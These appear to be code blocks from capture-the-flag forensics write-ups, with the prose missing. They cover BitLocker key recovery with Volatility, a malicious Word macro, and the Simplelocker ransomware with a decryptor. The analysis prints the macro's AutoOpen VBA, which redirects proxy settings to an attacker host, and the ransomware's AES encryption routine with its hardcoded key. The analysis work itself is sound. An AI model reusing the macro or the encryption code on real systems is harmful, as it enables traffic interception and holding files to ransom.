fls -o 128 image.dd
2
Encryption detected (BitLocker)

1
 volatility -f memory.dmp --profile=Win7SP1x64 bitlocker
2
Volatility Foundation Volatility Framework 2.6.1
3

4
[FVEK] Address : 0xfa80018be720
5
[FVEK] Cipher  : AES 128-bit with Diffuser
6
[FVEK] FVEK    : e7e576581fe26aa7c71a7e711c778da2
7
[FVEK] Tweak   : b72f4e075edb7e734dfb08638cf29652

1
 sudo bdemount -k [FVEK]:[TWEAK] -o $((512*[start_partition]])) image.dd /tmp/

1
sudo bdemount -k e7e576581fe26aa7c71a7e711c778da2:b72f4e075edb7e734dfb08638cf29652 -o 65536 image.dd /mnt/bitlocker

1
sudo ls /mnt/bitlocker
2

3
bde1

1
r/r 44-128-1:   flag.jpg

1
icat bde1 44-128-1 > flag.jpg

1
volatility -f memory.dmp imageinfo
2
Volatility Foundation Volatility Framework 2.6.1
3
INFO    : volatility.debug    : Determining profile based on KDBG search...
4
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
5
                     AS Layer1 : IA32PagedMemory (Kernel AS)
6
                     AS Layer2 : FileAddressSpace (/home/minhtuan/Documents/Cyber_Security/CTFs/RootMe/ch20/memory.dmp)
7
                      PAE type : No PAE
8
                           DTB : 0x185000L
9
                          KDBG : 0x82953c28L
10
          Number of Processors : 1
11
     Image Type (Service Pack) : 1
12
                KPCR for CPU 0 : 0x82954c00L
13
             KUSER_SHARED_DATA : 0xffdf0000L
14
           Image date and time : 2016-11-11 16:14:49 UTC+0000
15
     Image local date and time : 2016-11-11 17:14:49 +0100

1
volatility -f memory.dmp --profile=Win7SP1x86_23418 pslist
2
....
3
0x84d24490 WINWORD.EXE            3248    816     13      434      1      0 2016-11-11 16:14:05 UTC+0000
4
0x84f8a868 OSPPSVC.EXE            3340    456      5      127      0      0 2016-11-11 16:14:09 UTC+0000
5
0x84f6bd40 iexplore.exe           3388    816     20      444      1      0 2016-11-11 16:14:13 UTC+0000
6
0x84d6e390 iexplore.exe           3476   3388     27      698      1      0 2016-11-11 16:14:14 UTC+0000

1
volatility -f memory.dmp --profile=Win7SP1x86_23418 cmdline
2
....
3
WINWORD.EXE pid:   3248
4
Command line : "C:\Program Files\Microsoft Office\Office15\WINWORD.EXE" /n "C:\Users\fraf\Downloads\Very_sexy.docm

1
volatility -f memory.dmp --profile=Win7SP1x86_23418 filescan | grep "Very_sexy.docm"
2

3
Volatility Foundation Volatility Framework 2.6.1
4
0x000000000eec5988      2      1 RW-r-- \Device\HarddiskVolume2\Users\fraf\Downloads\Very_sexy.docm
5
0x000000000f3ee038      8      0 RW-r-- \Device\HarddiskVolume2\Users\fraf\Downloads\Very_sexy.docm

1
volatility -f memory.dmp --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000000eec5988 -D output
2

3
Volatility Foundation Volatility Framework 2.6.1
4
DataSectionObject 0x0eec5988   None   \Device\HarddiskVolume2\Users\fraf\Downloads\Very_sexy.docm
5
SharedCacheMap 0x0eec5988   None   \Device\HarddiskVolume2\Users\fraf\Downloads\Very_sexy.docm

1
volatility -f memory.dmp --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000000f3ee038 -D output
2

3
Volatility Foundation Volatility Framework 2.6.1
4
DataSectionObject 0x0f3ee038   None   \Device\HarddiskVolume2\Users\fraf\Downloads\Very_sexy.docm
5
SharedCacheMap 0x0f3ee038   None   \Device\HarddiskVolume2\Users\fraf\Downloads\Very_sexy.docm

1
olevba file.None.0x84cb24e8.dat
2
olevba 0.60.2 on Python 2.7.18 - http://decalage.info/python/oletools
3
===============================================================================
4
FILE: file.None.0x84cb24e8.dat
5
Type: OpenXML
6
WARNING  For now, VBA stomping cannot be detected for files in memory
7
-------------------------------------------------------------------------------
8
VBA MACRO ThisDocument.cls
9
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
10
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
11
Sub AutoOpen()
12
    Dim myWS As Object
13
    Set myWS = CreateObject("WScript.Shell")
14
    myWS.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL", "http://192.168.0.19:8080/BenNon.prox", "REG_SZ"
15
    myWS.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\MigrateProxy", 1, "REG_DWORD"
16
    myWS.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable", 0, "REG_DWORD"
17
    myWS.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableAutodial", 0, "REG_DWORD"
18
    myWS.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\NoNetAutodial", 0, "REG_DWORD"
19
    Selection.TypeText Text:="Et bim !!!!"
20
    Selection.MoveLeft Unit:=wdWord, Count:=3, Extend:=wdExtend
21
    Selection.Font.Size = 72
22
    Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
23
End Sub
24
+----------+--------------------+---------------------------------------------+
25
|Type      |Keyword             |Description                                  |
26
+----------+--------------------+---------------------------------------------+
27
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
28
|Suspicious|CreateObject        |May create an OLE object                     |
29
|Suspicious|Shell               |May run an executable file or a system       |
30
|          |                    |command                                      |
31
|Suspicious|WScript.Shell       |May run an executable file or a system       |
32
|          |                    |command                                      |
33
|Suspicious|Windows             |May enumerate application windows (if        |
34
|          |                    |combined with Shell.Application object)      |
35
|IOC       |http://192.168.0.19:|URL                                          |
36
|          |8080/BenNon.prox    |                                             |
37
|IOC       |192.168.0.19        |IPv4 address                                 |
38
+----------+--------------------+---------------------------------------------+
39

40
WARNING  /home/minhtuan/.local/lib/python2.7/site-packages/msoffcrypto/method/ecma376_agile.py:8: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
41
  from cryptography.hazmat.backends import default_backend

1
function FindProxyForURL(url, host) {
2
  if (shExpMatch(host, "*youtube.com*")) return "PROXY 127.0.0.1:9999";
3
  return "DIRECT

1
volatility -f memory.dmp --profile=Win7SP1x86_23418 yarascan -Y "FindProxyForURL"
2
Owner: Process svchost.exe Pid 1012
3
0x01e7000e  46 69 6e 64 50 72 6f 78 79 46 6f 72 55 52 4c 28   FindProxyForURL(
4
0x01e7001e  75 72 6c 2c 20 68 6f 73 74 29 0a 7b 0a 09 69 66   url,.host).{..if
5
0x01e7002e  20 28 73 68 45 78 70 4d 61 74 63 68 28 75 72 6c   .(shExpMatch(url
6
0x01e7003e  2c 22 2a 2e 61 73 68 6c 65 79 6d 61 64 69 73 6f   ,"*.ashleymadiso
7
0x01e7004e  6e 2e 63 6f 6d 2f 2a 22 29 29 0a 09 7b 0a 09 09   n.com/*"))..{...
8
0x01e7005e  72 65 74 75 72 6e 20 22 50 52 4f 58 59 20 31 39   return."PROXY.19
9
0x01e7006e  32 2e 31 36 38 2e 30 2e 31 39 3a 38 30 38 30 22   2.168.0.19:8080"
10
0x01e7007e  3b 0a 09 7d 0a 20 20 20 20 72 65 74 75 72 6e 20   ;..}.....return.
11
0x01e7008e  22 44 49 52 45 43 54 22 3b 0a 7d 00 00 00 00 00   "DIRECT";.}.....
12
0x01e7009e  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
13
0x01e700ae  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
14
0x01e700be  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
15
0x01e700ce  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
16
0x01e700de  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
17
0x01e700ee  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
18
0x01e700fe  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

1
function FindProxyForURL(url, host)
2
{
3
    if (shExpMatch(url,"*.ashleymadison.com/*"))
4
    {
5
        return "PROXY 192.168.0.19:8080";
6
    }
7
    return "DIRECT";
8
}

1
 ls app
2
org.simplelocker-1.apk

1
d2j-dex2jar app/org.simplelocker-1.apk -o target.jar
2
dex2jar app/org.simplelocker-1.apk -> target.jar

1
package org.simplelocker;
2

3
import java.io.FileInputStream;
4
import java.io.FileOutputStream;
5
import java.security.MessageDigest;
6
import java.security.spec.AlgorithmParameterSpec;
7
import javax.crypto.Cipher;
8
import javax.crypto.CipherInputStream;
9
import javax.crypto.CipherOutputStream;
10
import javax.crypto.spec.IvParameterSpec;
11
import javax.crypto.spec.SecretKeySpec;
12

13
public class AesCrypt {
14
  private final Cipher cipher;
15

16
  private final SecretKeySpec key;
17

18
  private AlgorithmParameterSpec spec;
19

20
  public AesCrypt(String paramString) throws Exception {
21
    MessageDigest messageDigest = MessageDigest.getInstance("SHA-256");
22
    messageDigest.update(paramString.getBytes("UTF-8"));
23
    byte[] arrayOfByte = new byte[32];
24
    System.arraycopy(messageDigest.digest(), 0, arrayOfByte, 0, arrayOfByte.length);
25
    this.cipher = Cipher.getInstance("AES/CBC/PKCS7Padding");
26
    this.key = new SecretKeySpec(arrayOfByte, "AES");
27
    this.spec = getIV();
28
  }
29

30
  public void decrypt(String paramString1, String paramString2) throws Exception {
31
    FileInputStream fileInputStream = new FileInputStream(paramString1);
32
    FileOutputStream fileOutputStream = new FileOutputStream(paramString2);
33
    this.cipher.init(2, this.key, this.spec);
34
    CipherInputStream cipherInputStream = new CipherInputStream(fileInputStream, this.cipher);
35
    byte[] arrayOfByte = new byte[8];
36
    while (true) {
37
      int i = cipherInputStream.read(arrayOfByte);
38
      if (i == -1) {
39
        fileOutputStream.flush();
40
        fileOutputStream.close();
41
        cipherInputStream.close();
42
        return;
43
      }
44
      fileOutputStream.write(arrayOfByte, 0, i);
45
    }
46
  }
47

48
  public void encrypt(String paramString1, String paramString2) throws Exception {
49
    FileInputStream fileInputStream = new FileInputStream(paramString1);
50
    FileOutputStream fileOutputStream = new FileOutputStream(paramString2);
51
    this.cipher.init(1, this.key, this.spec);
52
    CipherOutputStream cipherOutputStream = new CipherOutputStream(fileOutputStream, this.cipher);
53
    byte[] arrayOfByte = new byte[8];
54
    while (true) {
55
      int i = fileInputStream.read(arrayOfByte);
56
      if (i == -1) {
57
        cipherOutputStream.flush();
58
        cipherOutputStream.close();
59
        fileInputStream.close();
60
        return;
61
      }
62
      cipherOutputStream.write(arrayOfByte, 0, i);
63
    }
64
  }
65

66
  public AlgorithmParameterSpec getIV() {
67
    return new IvParameterSpec(new byte[16]);
68
  }
69
}

1
public static String[] getEncryptedFiles() {
2

3
        File dir = new File(System.getProperty("user.dir"));
4

5
        Collection<String> files  =new ArrayList<String>();
6

7
        if(dir.isDirectory()){
8
            File[] listFiles = dir.listFiles();
9

10
            for(File file : listFiles){
11
                String filename = file.getName();
12
                if(
13
                    file.isFile()
14
                    && (filename.lastIndexOf(".") >= 0)
15
                    && (filename.substring(filename.lastIndexOf(".")).toLowerCase().equals(".enc"))
16
                ) {
17
                    files.add(file.getName());
18
                }
19
            }
20
        }
21

22
        return files.toArray(new String[]{});
23
    }

1
public static void main(String[] args) throws Exception{
2

3
    // set default cipher password
4
    String cipher_password = "mcsTnTld1dDn";
5

6
    // overwrite cipher password if set by first argument
7
    if(args.length == 1)
8
    {
9
        cipher_password = args[0];
10
    }
11

12
    // create new SimplelockerAntidote object
13
    SimplelockerAntidote sa = new SimplelockerAntidote(cipher_password);
14

15
    // get array of filenames to decrypt from current directory
16
    String[] files = sa.getEncryptedFiles();
17

18
    // iterate through files in the array
19
    for (int i = 0; i < files.length; i++) {
20

21
        // set input and output filenames
22
        // and remove the .enc file extension
23
        String inputFilename = files[i];
24
        String outputFilename = inputFilename.substring(0,inputFilename.length()-4);
25

26
        System.out.println("Decrypting "+outputFilename);
27

28
        // call decrypt on the current file
29
        sa.decrypt(inputFilename,outputFilename);
30
    }
31

32
    System.out.println("Decryption complete.");
33

34
}

1
// Simplelocker antidote, written by Simon Bell, SecureHoney.net
2

3
import javax.crypto.*;
4
import javax.crypto.interfaces.*;
5
import javax.crypto.spec.*;
6
import java.io.*;
7
import java.security.*;
8
import java.security.cert.*;
9
import java.security.interfaces.*;
10
import java.security.spec.*;
11
import javax.xml.bind.DatatypeConverter;
12
import java.util.ArrayList;
13
import java.util.Collection;
14

15
public class SimplelockerAntidote {
16

17
  private final Cipher cipher;
18
  private final SecretKeySpec key;
19
  private AlgorithmParameterSpec spec;
20

21
  public SimplelockerAntidote(String password) throws Exception {
22

23
    MessageDigest digest = MessageDigest.getInstance("SHA-256");
24
    digest.update(password.getBytes("UTF-8"));
25
    byte[] keyBytes = new byte[32];
26
    System.arraycopy(digest.digest(), 0, keyBytes, 0, keyBytes.length);
27

28
    cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
29
    key = new SecretKeySpec(keyBytes, "AES");
30
    spec = getIV();
31
  }
32

33
  public AlgorithmParameterSpec getIV() {
34
    return new IvParameterSpec(new byte[16]);
35
  }
36

37
  public void encrypt(String paramString1, String paramString2) throws Exception {
38
    FileInputStream localFileInputStream = new FileInputStream(paramString1);
39
    FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
40
    this.cipher.init(1, this.key, this.spec);
41
    CipherOutputStream localCipherOutputStream = new CipherOutputStream(localFileOutputStream, this.cipher);
42
    byte[] arrayOfByte = new byte[8];
43
    while (true) {
44
      int i = localFileInputStream.read(arrayOfByte);
45
      if (i == -1) {
46
        localCipherOutputStream.flush();
47
        localCipherOutputStream.close();
48
        localFileInputStream.close();
49
        return;
50
      }
51
      localCipherOutputStream.write(arrayOfByte, 0, i);
52
    }
53
  }
54

55
  public void decrypt(String paramString1, String paramString2) throws Exception {
56
    FileInputStream localFileInputStream = new FileInputStream(paramString1);
57
    FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
58
    this.cipher.init(2, this.key, this.spec);
59
    CipherInputStream localCipherInputStream = new CipherInputStream(localFileInputStream, this.cipher);
60
    byte[] arrayOfByte = new byte[8];
61
    while (true) {
62
      int i = localCipherInputStream.read(arrayOfByte);
63
      if (i == -1) {
64
        localFileOutputStream.flush();
65
        localFileOutputStream.close();
66
        localCipherInputStream.close();
67
        return;
68
      }
69
      localFileOutputStream.write(arrayOfByte, 0, i);
70
    }
71
  }
72

73
  public static String[] getEncryptedFiles() {
74

75
    File dir = new File(System.getProperty("user.dir"));
76

77
    Collection<String> files  =new ArrayList<String>();
78

79
    if(dir.isDirectory()){
80
      File[] listFiles = dir.listFiles();
81

82
      for(File file : listFiles){
83
        String filename = file.getName();
84
        if(
85
          file.isFile()
86
          && (filename.lastIndexOf(".") >= 0)
87
          && (filename.substring(filename.lastIndexOf(".")).toLowerCase().equals(".enc"))
88
        ) {
89
          files.add(file.getName());
90
        }
91
      }
92
    }
93

94
    return files.toArray(new String[]{});
95
  }
96

97
  public static void main(String[] args) throws Exception{
98

99
    // set default cipher password
100
    String cipher_password = "mcsTnTld1dDn";
101

102
    // overwrite cipher password if set by first argument
103
    if(args.length == 1)
104
    {
105
      cipher_password = args[0];
106
    }
107

108
    // create new SimplelockerAntidote object
109
    SimplelockerAntidote sa = new SimplelockerAntidote(cipher_password);
110

111
    // get array of filenames to decrypt from current directory
112
    String[] files = sa.getEncryptedFiles();
113

114
    // iterate through files in the array
115
    for (int i = 0; i < files.length; i++) {
116

117
      // set input and output filenames
118
      // and remove the .enc file extension
119
      String inputFilename = files[i];
120
      String outputFilename = inputFilename.substring(0,inputFilename.length()-4);
121

122
      System.out.println("Decrypting "+outputFilename);
123

124
      // call decrypt on the current file
125
      sa.decrypt(inputFilename,outputFilename);
126
    }
127

128
    System.out.println("Decryption complete.");
129

130
  }